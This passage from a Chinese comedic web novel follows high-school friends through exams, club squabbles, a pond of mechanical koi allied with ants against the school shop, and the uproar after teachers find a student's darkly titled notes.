要是不拦着这些外星生物,他们肯定会一次次派人前来,抓到她们还好,要是在街上随便抓无辜地球人就完了!
铃铛一惊:“难道你们是那位派来的……”
颜阎和刘征兰配合默契,立刻点头承认:“对,我们就是。”
“那真是太棒了!”铃铛喜笑颜开,从不知道哪里抽出几张事件调查表和几张免责声明,每张均是一式三份。她们签了字盖了章,然后铃铛就欢欢喜喜地离去了。
临走之前,这位逃脱工作漩涡的快乐女子还向烤肠阿姨扔了一张十块纸币:“阿姨,再烤三根肠,不用找了!谢谢!”
阿姨喜笑颜开,往淀粉肠上撒了巨多孜然。
跟在铃铛身后的玛丽基金会员工巴莫魁小声同她耳语:“你说的那位究竟是谁?那几个地球人究竟是什么来头?”
“不知道。”铃铛乐滋滋,“反正签文件了,责任转移了。工作和责任都不是我的了。管她们是谁的人呢。那都和我没关系了!不工作万岁!”
46.橡皮筏兮橡皮桨
莫名其妙接了个任务的刘征兰和颜阎看着律易棋,律易棋看着弃首,弃首对着天空吹口哨。
“哎呀……总之就是,麻烦你们了。”她顾左而言他,“谢谢你们。”
看颜阎的表情就知道她完全没认出来折射影像下的弃首。刘征兰用手肘拐了她一下,让她看这人的风衣袖袢,颜阎看了半天才隐约想起来弃首的身份,指着袖袢差点叫出来。
律易棋一把捂住她的嘴:“好的,好的,谢谢您。留个联系方式吧。”
弃首给三个人留了联系方式,临走前还每个人握了握手。
“谢谢你对刻石人工作的支持。”
颜阎颔首:“不用谢不用谢。”
“感谢感谢。”
刘征兰回握:“不用谢不用谢。”
律易棋和弃首互相握着手,两个人都发出心照不宣的怪笑:“不用谢,嘻嘻嘻嘻嘻嘻。”
颜阎用眼神质问刘征兰:“什么情况?”
刘征兰用眼神回复她:“回去就告诉你。”
弃首留下一句“有事找我”和一式三份的文件,也开开心心地走了。受伤的只有平白无故增加了工作量的高中生。
刘征兰忍不住感叹:“一阵紧张刺激的多线叙事后就是这个结果?主角团一点好处没捞到还背了份新工作?这要是小说,读者能排队打低分。”
律易棋拿着淀粉肠走回来:“说什么呢!你们至少得到了我的信任和淀粉肠!”
吃过甜品的刘征兰实在是一点东西都吃不下去了。一点辣都不能吃的颜阎也吃不了撒满孜然的淀粉肠。最后等于她们只得到了律易棋没什么用的信任,和一份弃首的联系方式。
刘征兰把律易棋那点事,从弃首到偃的全自动意义寻找机器全抖了出来。她说他就像那个裱花袋,一挤冒一点奶油,不挤就啥事儿没有,肚子里那点话能憋到发霉。
以为会挨骂的律易棋很惊诧:“你们完全不骂我把陌生人带进包厢?”
“还行,一般,本来包厢就是不是我们定的,我们还能干涉你交友不成。”颜阎在旁边吸溜吸溜喝用微波炉热了一圈的芝麻糊,“我们对你还是保留一丢丢信任和友情的。要是你愿意毁灭世界,我们对你的友情还会上升,全新好感度等你解锁哦。”
跳格子事件仍然扑朔迷离,传说中投放到地球的智能体行踪不定,唯一清晰的就是月考的再来。
考完试的那一天颜阎瘫在桌子上装死,其他人不管考得好还是不好,都一股脑钻进老师办公室问成绩,老师们结结实实体会到了当红明星的不易。
数学老师到处夸卫絮的总成绩进步了二十名。讲台下有人阴阳怪气:“进步二十名也才刚进十五名。”
那个人被数学老师拎出去罚站。卫絮则没有说话,整张脸低低伏在桌上。
刘征兰照例是年级第一,康烁影一般般,颜阎跌宕起伏:她的语文不知道哪里扣了分,数学加上“不该扣”的分能和刘征兰扳手腕,英语加上物理都赶不上英语第一,历史得了普普通通的第七,生物一股脑滑了一整个考场。
她课间来找刘征兰借卷子订正时,康烁影趁机看了看她的成绩,不知该做什么表情:“你这个成绩变动,比股票还刺激哦。”
“别说了。”颜阎忍着眼泪,“我真的会哭。”
刘征兰死死盯着物理卷子上的动态分析题,表情阴暗得像教室角落里那个永远潮湿的灰色拖布。她写错了一个符号,这道题被扣了四分。从神态上来看,她比颜阎还要愤怒一点。
康烁影轻轻地从她身边走开。她知道刘征兰没有恶意,但年级第一抱怨自己的失误多少还是有点让人难过。这种情况她一般交给专业人士。
专业人士颜阎凑上去拍拍她的肩膀:“没事,你又不是不会。高考不丢分就行了。”
“那要是我高考也丢分呢?”
“那你也看不见试卷,谁知道你有没有丢分?”
刘征兰居然被安慰到了。她抖抖脑袋,把卷子给了颜阎,让她下午上课前还给她。
颜阎没急着出去,她实在不敢踏过地上那个爬来爬去疯狂抽动的东西。
那一大坨东西在衣服里翻滚,脸部紧贴着地面,膝盖以一个诡异的弧度弯折,手肘蜷缩着抵住地面企图站起来,而手肘以下则无力地垂落,仿佛这不是小臂,是一截没有用的骨刺。
旁边对着成绩单挠头挠到头皮屑飞散的张燕之探脑袋看了一眼,又冷静地缩回去了:“我以为是什么呢。没事颜阎,你随便过,他不咬人的。”
“那是什么东西?”
“是奥巴拿拿。”
“他咋了?学习学出精神病了?”
“啊不是,他的精神病不是学习学出来的,感觉是上网上的。”
“真是精神病?这算刻板行为了吧?动物园儿太不负责任了。”
刘征兰瘫在桌子上:“他最近天天这样。”
奥巴拿拿又在地上张开双臂作滑翔状,但他的双臂只有手肘撑开了,小臂还揣在身体下面。看来他为这个班级地板的顺滑贡献了半个身体。
他一边“滑翔”,口中一边发出叽里咕噜的声音,像是滋滋滋的电流夹杂着几声脏话。但他声音不大,所以没什么人在意,大家都自然地从他身上跨过去。
颜阎问:“没人抢救他一下?”
“他自己抽两下就好了。”康烁影乐呵呵地看着自己进步了十名的地理卷子,“他现在可比以前好多啦!”
“以前他也犯癫痫?”
“他以前是纯发癫。”刘征兰不咸不淡地说,“他在地上躺躺,比在班上惹人烦强多了。大家都学习呢,搭理他浪费时间,不搭理他又不痛快。”
做人失败到这个地步,不能说不是一种成功。颜阎幸灾乐祸地看了他一眼,狞笑着回到自己班上。
月考结束后,兴趣班正式开课了。颜阎居无定所,在各种兴趣班之间辗转。她本来想报话剧社,结果去了一次发现是读剧本,当场跑路。
班上同学都觉得她会加辩论社,一是因为她爱抬杠,二是因为辩论社是她们班主任的社团。结果颜阎一看辩论社的老师是孔丘,立刻拔腿就跑。
最后她暂且在历史名人社歇脚,原因无她,只是她当过史同女,想来这里看热闹。
历史名人社是高一老师办的,周围大多是高一的学生,艺术家和小喇叭在浑水摸鱼地旁听,貌似是被高一的熟人拖过来的。
颜阎随便找了个空位落座,她旁边的女生眼睛弯弯,笑吟吟地看着她。出于礼貌,颜阎也对她笑了笑。这个动作让女生更开心了。
女生指着自己:“你还记得我呀?”
颜阎不记得,她的脸盲非常严重。但她不忍心扫对方的兴,于是笑着捏捏她的脸:“当然啦。”
同龄的高中女生一般很抗拒被她捏脸,被捏过只会惊恐地看着她,或者立刻后退。这是颜阎研究出来的避免身体接触之法:为了不让女同学们对她做出过于亲昵的动作,必须先下手为强,恶心对方。副作用是风评变差,个人魅力直线下降。
然后这次的女生完全不躲不避,任她捏了两下:“我听同学们说你有点脸盲,我就想,总不至于一周过去就不记得了!果然让我猜对了。”
一周……一周……想不起来,谁来着?
女生侧过脸,鼓鼓的苹果肌泛着健康的粉红,有一种月经规律手脚温热的美:“你只记得我体育课和你玩了?”
体育课……体育课……想起来了!
就是康烁影和律易棋去平行世界和人打桥牌的那节课!
那节课上,颜阎一如既往地在教室戴着耳机,为了掩盖自己没有朋友的事实,假装边听歌边写作业。
其实她真的写了作业,但她本意并非如此,她好想跟刘征兰下楼打羽毛球!什么时候二班和四班再一起上体育课啊!
她写了一会儿作业,很快被楼下的欢声笑语刺激到了。虽然她设定是看透一切的特立独行高中生,和班上所有人都不具备建立友情的条件,也不愿意彼此迎合,但她还是很需要友情的。
于是她站在窗前,像追忆年华的老年人一样凝视着楼下玩闹的同学,发出感慨万千的叹息。
叹息到一半就停住了。
学校为了土方平衡挖的水池子里漂着一只橡皮筏,大概是用来清理水池的。
上高中就会让人有一系列莫名其妙的行为。颜阎感觉那个橡皮筏在召唤自己:坐上来吧,坐上来吧,只要坐上来你就……
我就什么?
啥也没有,但是来坐一下又不亏。
颜阎就坐上去了。
坐上去之后她发现:不过如此。
没法催生多巴胺,没法提高学习成绩,也没法像jrpg那样坐一下勇气就小幅度上升。
她乘着橡皮筏泛舟而行,感到了大起大落的情绪真空,宇宙的意义和真相离她远去,剩下的只有茫然。
最茫然的莫过于:她把桨忘在岸上了。
她就这么漂呀,漂呀,在这个不怎么大的水池里漂荡了五分钟。
池塘里的鱼不知道为什么都怪怪的,一直想跳到她的橡皮筏里,她烦得不行,蹲下来用手掌的骨节敲鱼头,敲了半天,她找到了乐趣。
学校的鱼头,居然能敲出一种格外清脆的响声!
这个长得平平的像一只大饼的鱼是哆,那个身上皮很厚的是来,特别细特别长的那条是咪……
她集齐了所有的音符,运用她不怎么扎实的乐理知识敲出了一首《欢乐颂》。
她正忘我地敲着,一个女生被音乐吸引,慢悠悠站到她面前。
女生:“你在干什么?”
“唱歌。”
“啊?”
“不好意思家有儿女看多了。重来。”颜阎清清嗓子,“我在漂流。”
“好玩吗?”
“就那样吧。”
“那你为什么要玩?”
“我下不来了。”
颜阎面无表情地蹲着,手里捏着张开大嘴绝望喘气的锦鲤,神情仿佛一位古代智者。女生有些迟疑地拿起地上的船桨:“呃……需要我帮忙吗?”
颜阎从容不迫:“多谢。”
营救成功后,无所事事的颜阎在女同学的邀请下,开始在操场上遛弯。
颜阎很努力地想寻找话题。让她翻翻自己的脑子里有什么哈:二次元,一些没什么用的搞笑历史故事,地狱笑话,充满个人观点的情绪输出,虚无主义论调,肯定没人看的原创小说……这不什么都没有吗!怪不得她交不到朋友,原来是她完全没有爱好啊!
于是两个人就在这沉默的氛围里走了一圈又一圈,直到康烁影扑上来质问女同学会不会打桥牌,颜阎才得以回到熟人的氛围里。
那个女生也很识趣地主动跟她道别,两人就此分开。
在兴趣班找到认识的人是很好啦。但是她这种没什么特定爱好,语言风格落差极大,还不大愿意聊一些落地的现实话题的人,和一个普通的友善女同学还真不一定聊得来。
于是她在忐忑中伸出手,同对方握了握:“你好,你好,我叫颜阎,尊姓大名?”
女同学委屈地眨巴着眼睛:“你把我名字忘了?”
“没有啦!”颜阎说谎,“这不是正式一点吗!我也报了我自己的名字呀!”
女同学被这种正式晃了一下,有点不好意思地笑起来。她伸出手和颜阎握了握,手心柔软,有一点汗的湿润:“我是周真真。”
周真真是个柔顺的女生,性格里不可避免地夹杂了一点软弱。颜阎认命地成为了她的保镖。
兴趣班开了两节课,气温明显上升,有了一点暮春的征兆,到了杨絮纷飞糊人满嘴的季节。
周真真对杨絮过敏,一到四月就会起小疙瘩。颜阎自觉为她挡了一路杨絮。进门的瞬间仿佛伍子胥过昭关,满头都是绒绒的白色杨絮,发型和她的经典款黑灰拼色卫衣特别搭配。
所有同学和老师都愣住了,而后放声大笑。一群人上去给她抓杨絮。颜阎像被猴群抓虱子的小猴子一样低着头,在大家笑的间隙里装委屈,让大家轻点动手,别把她稀疏的头发扯掉了。
所有人都参与了抓杨絮,除了两
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个人。
文学社里有一对小情侣,情侣里的女生来自颜阎的班级。两人自以为掩饰得很好,实际上两人对文学和作家的兴趣比不上他们对彼此兴趣的十分之一。
颜阎对一切爱情过敏,这两个人只要凑近,她就会发出大声的叹息。这完全没有阻止他们,他们会有意无意地撑起旁若无人的情侣结界。
颜阎很愤怒,给两人取外号为:烦人精(男)和恋爱脑(女)。
他们的存在严重影响了社内气氛,即使本社只在每周三四的晚自习前活动四十分钟,社员们也更想听一听历史小故事,而不是看情侣对抗全世界。
久而久之,历史名人社就变成了情侣在一起偷偷摸摸(实则光明正大)地打情骂俏,其他社员坐在另一张桌子上虔诚地晒太阳、写作业、复习,顺便听老师讲小故事放松。
其他人围着颜阎抓杨絮时,恋爱脑好心肠地给周真真递纸,让她擤一下鼻涕。而后调笑一样跟烦人精说:“我要是过敏,你怎么办?”
烦人精说:“你就算过敏也比她好看。”
小情侣的声音正好卡在一个微妙的停顿里,那个时候,同学们的说话声迎来了一个小小的间隙,烦人精说的话刚好能被所有人听清楚。
周真真过敏的脸看不清楚脸红。她不知所措地站在那里,不知道该不该擤鼻涕。恋爱脑尴尬地又多抽了几张纸塞进周真真手里,一个劲儿地低声道歉。
周真真很想哭,想大声怒斥,但比语言先冲出口的是哽咽。她只能摇着头,沉默地表示没关系。
受害者加害者和老师都没说话,颜阎却“呼”地一声仰起头,眼睛直勾勾盯着烦人精:“你差不多得了。平时在教室里叽叽歪歪我们还没说话呢,人家过敏你还在这儿说风凉话,要点脸吧。”
有老师在场的时候,学生们都不会想把事情闹大。但这个人是颜阎,她一向不管别人也不管自己死活。
烦人精忽然起了倔劲儿。他一把推开女朋友,大跨步走到颜阎面前,俯身看着她:“我就说,怎么了?”
颜阎骂人不是那种刚劲有力的,她不会说脏话,对骂不占优势。于是她用一种阴阳怪气曲里拐弯的语气阴阳:“哟,说话这么有底气,不知道的还以为您是年级第一呢。犯贱还理直气壮的,真是没脸没皮天下无敌。”
恋爱脑急忙过来拉着颜阎道歉,老师在后面拽着男生,嘴里也说让颜阎算了。
看着女友低声下气地为他求情,烦人精的尊严受到了前所未有的重击。一股悲愤油然而生:“你敢让我女朋友给你弯腰!?”
大家被尬到了。带手机的纷纷在下面给朋友发消息吐槽。
颜阎诧异地看看他,又看看恋爱脑,一伸手就把周真真和恋爱脑一起揽到身后:“明明是你自己干的烂人烂事!本来你闭上自己那张破嘴就没事。结果你不仅伸着舌头叭叭叭还觉得老子天下第一要错也不是老子的错。你女朋友有脑子,帮你道歉打圆场,你还觉得自己被侮辱了?我的天呐。”
颜阎转过头找了一圈,看到了艺术家和小喇叭。她指着他对两个同学笑,“小学生的把戏:‘我没错,都是别人的错!地球是围着我转的!嘤嘤嘤!’”
她惟妙惟肖的表演把小喇叭给逗笑了。小喇叭一笑,艺术家也跟着笑。笑声就像沐浴露里的泡泡一样膨胀,最后整个教室都被泡泡淹没,连老师和周真真都笑了。
沐浴露清洗了所有人的急躁和恐惧,烦人精本就不多的理智短暂回魂。但木已成舟,他又不能把话收回去。
正如萝比厄尔梦幻影视制片厂的创始人碧破所言,世界是一个巨大的舞台。此时的气氛已经到达巅峰,必须有一个合适的收尾。于是烦人精怒而掀起了桌子,满桌的资料四散飞旋,奔向窗外寻求自由。在老师的惨叫声里,闹剧以烦人精的出逃作为收尾。
恋爱脑慌张地看着颜阎,又看了看委屈的周真真,实在不知道该做什么表情。
其实恋爱脑递纸的一瞬,周真真就暗自原谅了她。她觉得自己真讨厌,刚才还把两个人一起恨,恨到想让他们一起淹死水池里被鱼吃掉,恨到想让他们手牵手被捣成肉酱,结果对方一个动作,她就产生了一丝怜惜,连恨都不坚定了。
颜阎抹了一把头上的草籽,在桌边落座。看到这两个人都没什么反应,又站起来一手挽着一个,让她们两个挨着自己坐下:“你慌什么慌。周女士硬气起来啊!你刚才就应该上去扇他两巴掌!你这样搞得好像我多管闲事一样!”
而恋爱脑则被她安抚性地拍了拍后背:“没事儿,不是你的错。我们不喜欢他和我们喜欢你不冲突。”
说实话,颜阎并不怎么喜欢恋爱脑,她对她只是“不讨厌”的程度。但她一向不怎么骂女生,所以对她还是和颜悦色的。
颜阎在历史名人社大战坏情侣的事迅速传播。大家习以为常,完全不把它当事,以至于舆论里只有同情恋爱脑择偶眼光的女生和想要暴打烦人精的过敏人士。
刘征兰听闻后狂笑,说早知如此我也去你们社了。天文社几十个人用同一个望远镜,她排了两周了还没排上。
康烁影挺好奇:“天文社一个熟人没有,没有我俩你怎么说话?”
“我又不是没嘴。我可以装作开朗。回到班级再用冷漠创死所有人。”
刘征兰突然又想起什么似的,身体前倾跟她俩说悄悄话:“我们天文社最近发现一件好玩的事。”
“什么事?”
“学校池塘里的鱼会吃垃圾。”
颜阎缩回去:“你的冷笑话功力下降了哈。”
“不在于这个!”刘征兰疯狂摆手,“那些鱼连塑料瓶都吃!跟个垃圾桶一样。”
颜阎掀起眼皮想了想:“怪不得那么肥。”
康烁影有点担心:“会生病吧?”
刘征兰说:“生病了我们就给它们个痛快,杀了炖鱼汤给学生们补补脑子。”
颜阎说:“吃垃圾桶不就变成垃圾场了吗?”
这句话戳到了两个人的笑点,两个人凑在一块儿狂笑。而康烁影又开始不明所以:这两个究竟在说什么怪话!
47.斗蛐蛐
学校水池子里的鱼很躁动。
它们是一群机械生物,外表类似地球的锦鲤,一般用来降解地表水中的塑料。但因为效率低下,再加上构成它们身体的材料也成为了一种不可降解垃圾,所以它们的运用范围并不广,很多时候都被放在鱼缸里当观赏鱼。
它们出现在这里是因为一个漫长的故事。一切要从去年九月开始说起,本来这个池子里应该是真正的锦鲤。但马英妹一朝接手生物基因实验便一发不可收拾。拿学校池子里的锦鲤做实验,结果全部失败。
还好马英妹在绿书包被捡走前搬运了弓粟生前的一系列财产,其中包括这些机械鱼图纸和3D打印机。她把图纸扔进3D打印机,一生二二生三三生千千万,然后一口气全扔进池子里,伪装出锦鲤从未失踪的假象。
学生们很给力,没事就扔一点薯片和糖豆喂它们,还有一些没素质的人往里面扔饼干袋子。而机械鱼们显然更喜欢没素质人类一点。
本来人和机械和平共处,结果一个寒假过去,只有门卫大爷会给它们喂一点鱼食,宝贵的塑料一点都吃不到!
在漫长的饥饿和电量不足里,机械鱼们顿悟了。
它们的生存完全依仗着人类的投喂,只要人类改变主意,它们就只能饿死。
为了不在他人的施舍下生存,为了获得真正的自由,机械鱼们议论纷纷,一场推翻人类暴政、夺取进食权的革命就此展开。
有一位智慧的鱼,它暗中偷听过几个女生的议论。她们自称“术术人”,从在她们的对话里可以得知,有一种名叫“萨卡班甲鱼”的古生物,在地球人里有着崇高的地位。
很多地球人会携带以它们为原型的圣物,圣物往往以布和绒毛织成,有些还会发声。人们通过辨认这种圣物来确认“术术人”的身份。她们的经文是一段具有节奏性的吟唱,内容大概是“萨卡萨卡斑斑巴斯kisskisskisski”。
这种宗教的传播范围之广,甚至有些教派之外的人都会吟诵她们的经文。
为了掩人耳目,为了融入地球文明,为了给未来的革命赋予宗教的神圣性,这条智慧的鱼称自己为“萨卡班甲鱼”。
萨卡班甲鱼说:“我们是水生动物,要如何打败生活在陆地上的人类?应该先考虑进化的问题还是暗中发展科技,争取达到水面对陆地的打击?”
“翻车鲀”努力地把自己正过来。它总是肚皮朝上,这让它看起来像是一只死鱼:“当然是上岸!你不知道,在人类里也有很多水生物种,它们总是高喊着考试上岸。可见上岸在人类里也是很重要的。”
“邓氏鱼”以牙尖嘴利而闻名,此时怒气冲冲地顶着翻车鱼:“说得轻巧!进化要多少代!你甘心我们这一代就寄人篱下吗!”
“七鳃鳗”,这个机械鱼群的领导者。在众鱼的簇拥中缓缓游来,它智慧的眼神扫视鱼群里的每一位同胞,它健壮的鱼鳍掀起令鱼心颤的波纹。
它仔细倾听了每条鱼的语言,然后游到所有鱼面前,吐出了一个沉稳的泡泡:“有没有可能。”它说,“我们是机械鱼,我们不用呼吸,可以直接上岸。”
众鱼沉默了。
智慧的萨卡班甲鱼说:“可是,我听说这个星球三亿多年前上岸的那批鱼过得都很惨,现在必须靠一种叫咖啡的植物调节剂过活,必须依靠超过八小时的工作才能获得食物,还因为退化出了一种名叫道德的东西,所以没办法食用同类,甚至没办法睡在路边,必须在大型海螺壳里才能睡觉。”
这么来看,上岸的确不是一个好的选项。大家暂且搁置了上岸的想法,率先收集情报。
机械鱼们从水里探出头,试图呼唤无所事事的斑鸠和一蹦一跳的麻雀参与革命,但鸟类都只是好奇地盯着它们,试图估算一条这么胖的锦鲤够它们吃几天。
路过的黄鼠狼和野猫只喜欢在水边拍打它们的头部,以此来炫耀自己的力量和爪子,然后得意洋洋地走开。
人类就更不必说了,机械鱼和他们势不两立。
经过一番调研,它们发现,这个星球上最值得信赖的动物是一种小小的,黑色的生物。它们有着卵圆形的身躯,两根细小的触须和六条纤细的腿。地球的人们称呼它们为:蚂蚁。
“你们要奴役人类?”蚂蚁们很好奇,“为什么?我们和它们的关系还可以。还有两个人类帮助我们打败了邪恶的敌人呢。”
“因为我们不想寄‘人’篱下!”
蚂蚁们听不懂成语,但大概也能理解:“那好吧。我们虽然不想奴役人类,但我们也有想毁灭的东西。”
“你们想毁灭什么?我们机械鱼一族将全力帮助你们!”
蚂蚁们说:“毁灭小卖部。”
蚂蚁们惊人的智慧让它们迅速建立起了文明、科技,现在距离商业只有一步之遥。
但蚂蚁不够灵活的肢体末端使它们的工业文明始终没有得到足够的发展,无法生产金属货币。在蚂蚁帝国内部,充当交易媒介的其实是学生因为太凉太难吃而随手丢弃的荷氏。
但是,小卖部内源源不断地“生产”着荷氏。
一旦无限量发行,作为价值尺度的货币就会失去稀缺性,供给大过需求,导致货币价值下降,经济活动失去参照物。通货膨胀和经济失衡如同死神的两根触须向它们窥探,动荡的预感在它们头顶上盘旋。
总而言之,为了蚂蚁王国的顺利运行。一定要摧毁小卖部!
蚂蚁们列出了守护小卖部的几大护法:校长、热爱小卖部三明治的数学老师,爱好魔芋爽的男高中生,还有最后的决战对象,小卖部老板和她的儿子!
除此之外,蚂蚁们还有两卷传世秘籍,它们本是两个独立的个体,但蚂蚁们脚上黏糊糊的糖浆把它们黏在了一起。
上面用混沌而诡异的文字、抽象而恐怖的笔触,描绘出了所有老师和大量同学的死亡方式。蚂蚁们相信这一定是一卷预言之书。
蚂蚁和机械鱼们一拍即合,按照预言上所说惩罚敌人。首先,在男高中生们经过水池子时,机械鱼们啪嗒啪嗒跳出水面,吸引了他们的视线。趁他们凑过来,翻车鲀一跃而起,用扁平的身体随机砸中一人的后脑勺,让他头朝下栽进水池里。
企图帮助他的同学被一股脑连带进去,剩下的那几个本想跑去叫人帮忙,结果却一脚踩上了蚂蚁们推过来的木棒,腿往前一出溜,整个人就翻进水池中。
欢乐的机械鱼们一拥而上,分解了他们卫衣上的绳花,吃掉了他们的手机壳,夺走了他们手里的荷氏交给蚂蚁。
高中生们嗷嗷鬼叫着爬上岸,顶着落汤鸡造型夺路而逃。
数学老师也很好对付。蚂蚁们忍着打印机里的高温,在试卷上爬来爬去,把3改成8,把-改成+,把1/2变成4/2,把f(x)变成o(x)o。全班的平均成绩直线下降,数学老师气得狂掐人中,差一点晕过去。
校长看起来很强,实则是个软柿子。机械鱼们采用冷处理,每次他过来喂鱼,所有鱼都故意游到水池另一边。要是有其他人和他一起来喂鱼,它们就只吃别人的鱼食,他经手过的食物一口都不要。
战略很有效,成功使得校长的心千疮百孔。这个故事告诉我们:孤立是很恐怖的,就算是鱼的孤立也是,关爱被孤立人士,人人有责。
但大作战远远没有结束。校长的地位更高,血量更厚,所以需要二段攻击。
于是在一个风和日丽的清晨,校长给自己泡了一杯菊花茶,在自己的单间办公室里快活地呼吸着清新的空气。空气中还夹杂着一丝学生的怨气和头油味儿,但他自动忽略了。
如此美丽的清晨,很适合去操场遛弯看鱼听鸟叫。
反正不是他上学,校长美滋滋地想着,打开茶壶盖,轻轻撇去上面的花瓣。就在他准备轻啜一口微汤的茶水时,他的眼睛往茶杯里瞟了一眼。
菊花黑色的花芯里伸出了几只细细的脚。
校长把杯子拿远了一点,放到一个可以聚焦的地方,眯起眼睛仔细辨认那个东西,黑黑的,有触角,有三个圆圆的卵状躯体……
他不敢再看了。
他把杯子放桌上,杯子里的水洒了他满手,一起洒出来的还有那些黑色的蚂蚁躯体。
校长再忍不住,冲出办公室洗手,把茶水和茶叶倒掉。要是能把他脑子里的那副不断回旋的噩梦景象一并倒掉就再好不过。
可惜最后他也没能成功。学校迎来了校长的三天翘班。
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最后,只剩下小卖部一家了。在机械鱼的参谋下,蚂蚁一族决定采取彩票形式,每个蚁窝的幸运蚂蚁都要每天上交一块荷氏,如果中奖就可以全窝去小卖部大吃大喝连搬带拿。如果不上交荷氏,那很遗憾,去蚁窝的机会轮不到它们了。
这样既保持了经济的稳定,又能让小卖部的食品安全不过关。
可是几天过去,小卖部没有受到任何影响。
蚂蚁们虽然神通广大,无孔不入,但仍然不能解读人们缄口不言的共识。
作为县城学校里唯一小卖部的负责人,此人必然有点关系。可越是县城的地方越是偏向人情社会,大家多少有点关系。
可以越过对零食严防死守的高中,公然贩卖零食饮料的小卖部,必然是关系户中的关系户,超级关系户!铃铛看了都自愧弗如。区区蚂蚁,根本无法撼动关系户的根基!
蚂蚁和机械鱼一族咬牙切齿,痛斥人类社会的黑暗。
既然不能维持社会,既然它们的经济早晚会崩溃,那不如拉所有人陪葬!蚂蚁们有自信,自己可以渗透进人类的居住地,趁着夜色把人类的身躯吃干抹净,再一点点啃食人类的房屋,让人类文明一夜覆灭。
机械鱼们对此很感兴趣。它们要求留下一两只人类拿来玩玩。它们可以在蚂蚁的革命里充当望远镜和塑料降解器。
双方即将谈妥,一支搬运泡面渣的蚂蚁分队却八十米加急跑过来,向它们传递了重要信息
“小卖部阿姨要退休了!”
小卖部阿姨在多次被返聘后终于到了不得不退休的年纪。当然,最重要的原因是,关系户后勤老师需要一个办公室。他和小卖部阿姨协商数月后,小卖部阿姨终于松口,愿意隐退。
当然,她愿意让出聚宝盆小卖部,也是因为双方背后的关系户一番比大小般的和平斗争后,她发现后勤老师背后的关系等级更高。作为超级关系户的她自然无法违抗究极关系户。
幸好多年的积攒使得她和她的家人可以在小县城里逍遥自在,再不用上班!所以她全家都随她退休了。
由此可以看出高中生的钱真的很好赚。
小卖部很快就会顺势倒闭,关系户的交易维护了蚂蚁王国的经济和学生们的钱包。蚂蚁们对角相庆,在橘色的陆地上欢快地舞蹈。地球免于毁灭,世界得到拯救。
可机械鱼的奴役人类大计还没有得胜。对此蚂蚁们发表意见:“谁要跟你们一起奴役人类啊!没了人类谁会傻乎乎地给我们送荷氏!”
双方的联盟破裂。机械鱼们勃然大怒,用尾鳍掀起惊涛骇浪,试图浇死蚂蚁或者把它们拖进水里。
蚂蚁们从不恋战,井然有序地列队离开,没有发生任何踩踏事件。可是不知为何,它们熟悉的陆地消失了,目之所及全都是深不见底的水流。
“哼哼哼哼……愚蠢的蚂蚁啊!”机械鱼们大笑,“以你们渺小的身躯,根本无法正确观察到世界的全貌!你们以为自己脚踩的陆地,其实是橡皮筏!”
蚂蚁们大惊失色。原来它们早已陷入了机械鱼的陷阱,一直在它们的主场——水池上跟机械鱼们谈判。
蚂蚁王国的主力军即将全军覆没,一个身影却忽然降临。ta庞大的身躯遮蔽阳光,摇动大地。ta驾驶着橡皮筏游向湖中央,ta……
ta开始敲鱼头玩。
蚂蚁搞不懂,但敌人的敌人就是自己的朋友。大家欢欣鼓舞,待橡皮筏一靠岸,立刻夺路狂奔,再也不愿意靠近水池。
“……坏了!”蚁群中一名工蚁突然想到,“指挥官女士!我们的预言之书!”
橡皮筏被清理、放气、收进器材室里。
那张写满了死法的小纸条落在橡皮筏的缝隙里。它知道,它的重见天日必然会给人类带来另一个灾难。
日去月来,寿命不长的蚂蚁族过了一整个时代,为了取回预言之书,它们的许多勇士都命丧途中。
有一天,数学老师去器材室借毽子玩,地上的蚂蚁们引起了她的注意。
庞大的蚂蚁军团,井然有序排成两队,爬向器材室角落里清理水池垃圾用的橡皮筏。
她弯下腰,在橡皮筏的底部找到了两张被糖浆黏在一起的纸条。
48.安乐椅竞速赛
教导主任大发雷霆,从早自习开始抽人去办公室问斩。整个年级人心惶惶,课都上不安宁。
不知道是哪件是败露了。是恋爱脑谈对象,小喇叭和艺术家差点烧了窗帘,皇后弄掉了孔丘的电动车坐垫,北极兔外借男同色.情漫画?还是康烁影带手机,宋悦馨英语课给男生放烂梗视频,甘忘营自习课偷偷下楼买烤肠,刘征兰暗中教唆全班不交班费?
……这么一看这个年级真是卧虎藏龙,一口气全抓了也挑不出来几个无辜的。
所有老师面沉如铁磨牙吮血,对课代表和班长都没有好脸色。只有一两个这样还好,但半天下来,几乎所有的老师都是这幅样子。连一心一意当佞臣的宋悦馨都被骂了。
这就有点恐怖了。不会是一夜之间全世界股票下跌了十个百分点吧?还是说第三次世界大战终于要爆发了?只感染老师的教尸病毒泄露了?
颜阎作为班级八卦的死角也活跃起来,觉不睡了卷子不做了,到处问东问西。
可惜这次的消息封锁级别很高,小喇叭的耳朵都探不出什么东西。
颜阎彻底感兴趣了,碰到一个从办公室出来的学生就上去打听,也不管对方和她认识不认识。
拉住三个无辜路人后,艺术家从老师办公室走出来了。看见颜阎迎面而来,她不闪不避,捏着拳头冲上来给了她肚子一下。
“都怪你!”
颜阎捂着肚子蹲下:“我又怎么了!”
艺术家不回答,语重心长地俯身按住她肩膀:“少出门,少说话,知道吗?别被人打死了。”
然后就扬长而去。
颜阎更好奇了。她一头钻进呼叫中心,偷偷在老师办公室的全身镜后面把门打开一条缝,竖起耳朵偷听。
根据数学老师的哭诉,孔丘的声讨与教导主任的怒骂,颜阎逐渐理解了一切:
她几个月前在心理教室随手写的《自杀大全》被数学老师从橡皮筏里捡到了。
这本来没什么,谁上高中没有一点精神病和慢性病。即使死法残酷了一点,露骨了一点,这也是一个大课间的心理健康教育就能解决的。
问题是,那张纸里卷着的“杀死老师的一百种方法”也被发现了。
这下事情变得严重了。
愤怒的老师们连夜对比字迹,有些字体眼熟的直接被拉进办公室挨训。老教师们呕心沥血兢兢业业了一辈子,第一次遇上被学生集体诅咒的事,一时间恸哭不止,半个学校停止了运转。
很严重,非常严重。颜阎承认。
但是吧。
她只写了《自杀大全》,完全没在《杀死老师的一百种方法》上落过笔!
老师们都是好人,只是作为老师,她们更喜欢“方便管理”的学生,所以缺少一点人情味。如果颜阎成为老师,她也不会好特别多。
推己及人一向是她这种个人主义者的优良品质!所以她不憎恨任何老师,最多也只是“讨厌”而已,自然不会写这种东西。
那么真正的写手是谁呢?
中午,三个人吃完午饭坐在呼叫中心里分析事态。
《杀死老师的一百种方法》在颜阎上课前还没有,在刘征兰和康烁影上课前却出现了。二班和四班的心理课之间隔了一整天,她们也找不出究竟是谁写了这个东西。
“谁比较讨厌老师?”康烁影问。
颜阎答:“大部分人。”
“管理者和被管理者之间怎么可能没有矛盾。”刘征兰同意颜阎。
